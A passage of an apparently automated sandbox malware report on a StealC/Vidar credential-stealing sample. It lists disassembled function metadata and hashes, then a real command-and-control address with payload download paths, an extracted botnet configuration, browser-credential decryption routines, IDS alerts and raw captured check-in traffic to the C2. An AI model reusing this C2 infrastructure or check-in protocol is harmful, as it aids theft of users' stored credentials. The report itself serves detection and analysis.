Instruction Fuzzy Hash: 9B516171E012698FDF08CF68CC54ABEBBB1FB89304F5A861DD811A7750C7706A45CB94

Function 00DA3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: bef894bd95fa47c99a6a67deafe230014656d2726bef8fdb2f6b9fec519d1a10
Instruction ID: a2cfb95c9c27d9cc12debcdec0d9f4ae6aff4f3da14bf4086e7c668eabb85410
Opcode Fuzzy Hash: bef894bd95fa47c99a6a67deafe230014656d2726bef8fdb2f6b9fec519d1a10
Instruction Fuzzy Hash: 53410B71D10209EFCB04EFB8D845AFEB775EF45304F148518F41666290EB75AA09DBB2

Function 6C5A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5A82BC,?,?), ref: 6C5A649B

Part of subcall function 6C57CA10: malloc.MOZGLUE(?), ref: 6C57CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A64A9

Part of subcall function 6C59FA80: GetCurrentThreadId.KERNEL32 ref: 6C59FA8D
Part of subcall function 6C59FA80: AcquireSRWLockExclusive.KERNEL32(6C5EF448), ref: 6C59FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A653F
free.MOZGLUE(?), ref: 6C5A655A

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1e5c1bed5fd4dbc6350dff9b022735961dbcce35d1a3e2c732bc3d096124477a
Instruction ID: 9e215e414250db92ac7aafd79ece5381ee29f8ef56dd7a463fc69efab30f294a
Opcode Fuzzy Hash: 1e5c1bed5fd4dbc6350dff9b022735961dbcce35d1a3e2c732bc3d096124477a
Instruction Fuzzy Hash: 3B316EB5A043059FDB04CF15DC8469EBBE4BF88314F40482EE85A97741EB30E909CB96

Function 6C57B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C57B4F5
AcquireSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C57B502
ReleaseSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C57B542
free.MOZGLUE(?), ref: 6C57B578

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9671c950b09e3214cbfeb3e92f55cf32bd73467903ac38ed225e94a55f6f56a8
Instruction ID: d196e9863d176e67a27c84b6f9a3cd7f58062e68163729326fa3af4d5d8fc90d
Opcode Fuzzy Hash: 9671c950b09e3214cbfeb3e92f55cf32bd73467903ac38ed225e94a55f6f56a8
Instruction Fuzzy Hash: A011CD30A04B41C7D7229F29DC047A1B3B1FFDA319F11970AE84953A02FBB1A5C487A5

Function 00DA92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00DA3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00DA3AEE,?), ref: 00DA92FC
GetFileSizeEx.KERNEL32(000000FF,00DA3AEE), ref: 00DA9319
CloseHandle.KERNEL32(000000FF), ref: 00DA9327

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 025557bac72d620111fceab204845a3e8fc04720284c49b6630081ff2ae96f0b
Instruction ID: 8070996d40172b16f894c0e16e8d54a7197bdb1bd347268e4818850fb27174f5
Opcode Fuzzy Hash: 025557bac72d620111fceab204845a3e8fc04720284c49b6630081ff2ae96f0b
Instruction Fuzzy Hash: 38F04F35E40208BBDF10DFB0DC59F9EB7BAAB49711F10C294B651A72C4DA7496019B54

Function 00DAC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00DAC74E

Part of subcall function 00DABF9F: __amsg_exit.LIBCMT ref: 00DABFAF

__getptd.LIBCMT ref: 00DAC765
__amsg_exit.LIBCMT ref: 00DAC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00DAC797

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: f45be9ed4088159d9659815d61ee2c598e63e867e2e9328867600ce456c72b9e
Instruction ID: 47dfd11933a5af2a3a14cbb646a358812ecc30818612871e161c3592eec5793f
Opcode Fuzzy Hash: f45be9ed4088159d9659815d61ee2c598e63e867e2e9328867600ce456c72b9e
Instruction Fuzzy Hash: 0CF09032911300DFD731BBBC580674D33A0EF02731F28524AF404A62D3CBA499419FB6

Function 6C56BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C56BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C56BE8F

Strings

0, xrefs: 6C56BE5B

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ea458efa09ab2d5e77698d7f675ce1fbb126d16123f59ed42dbf584674cdd5a5
Instruction ID: 168c7b55c822b20a138d58eadd3a9686561497fb448ae373ac46afc2ba2d7bc9
Opcode Fuzzy Hash: ea458efa09ab2d5e77698d7f675ce1fbb126d16123f59ed42dbf584674cdd5a5
Instruction Fuzzy Hash: AF41C271908745CFC711DF3AC881A9BB7F4AF8A348F004A1DF9855BA21D730D9589B82

Function 6C5A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5A3D6C

Strings

d, xrefs: 6C5A3D58

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2380c82d4dc992e278133516dc177b666f0a5c5200b1d391e4f3738fb6284e83
Instruction ID: 38cbf5c4dd6aa66c1e35b722eb0f798391a0cfc64fd17801fc90c5f0dbb32b76
Opcode Fuzzy Hash: 2380c82d4dc992e278133516dc177b666f0a5c5200b1d391e4f3738fb6284e83
Instruction Fuzzy Hash: ED110431E14788D7DF00DBAACC144EDB775EF8A258B458218DC459B612FB30E985C794

Function 6C576C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KZl,?,6C5A4B30,80000000,?,6C5A4AB7,?,6C5643CF,?,6C5642D2), ref: 6C576C42

Part of subcall function 6C57CA10: malloc.MOZGLUE(?), ref: 6C57CA26

moz_xmalloc.MOZGLUE(0KZl,?,6C5A4B30,80000000,?,6C5A4AB7,?,6C5643CF,?,6C5642D2), ref: 6C576C58

Strings

0KZl, xrefs: 6C576C33, 6C576C41, 6C576C57

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KZl
API String ID: 1967447596-2851134769
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: d4596d882ab012527965a56d8f4a3b518536f65e95f741ae060176341fa2ef3d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: EFE086F1A207054BDF18D9789C0956A79DCCB742A97184A35E822C6FC8FF54E9D08171

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 6.2.file.exe.d90000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 6.2.file.exe.d90000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D99B60 CryptUnprotectData,LocalAlloc,LocalFree,	6_2_00D99B60
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D9C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	6_2_00D9C820
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D99AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	6_2_00D99AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D97240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	6_2_00D97240
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00DA8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	6_2_00DA8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C576C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	6_2_6C576C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.11:49708 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.11:49708 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.11:49708
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.11:49708 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.11:49708
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.11:49708 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 33 46 42 37 41 45 33 39 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="hwid"9F3FB7AE39294266498721------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="build"doma------BAFCGIJDAFBKFIECBGCA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKECFCFBGCAAKEGIJDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="message"browsers------AEBKECFCFBGCAAKEGIJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="message"plugins------DAKFIDHDGIEGCAKFIIJK--
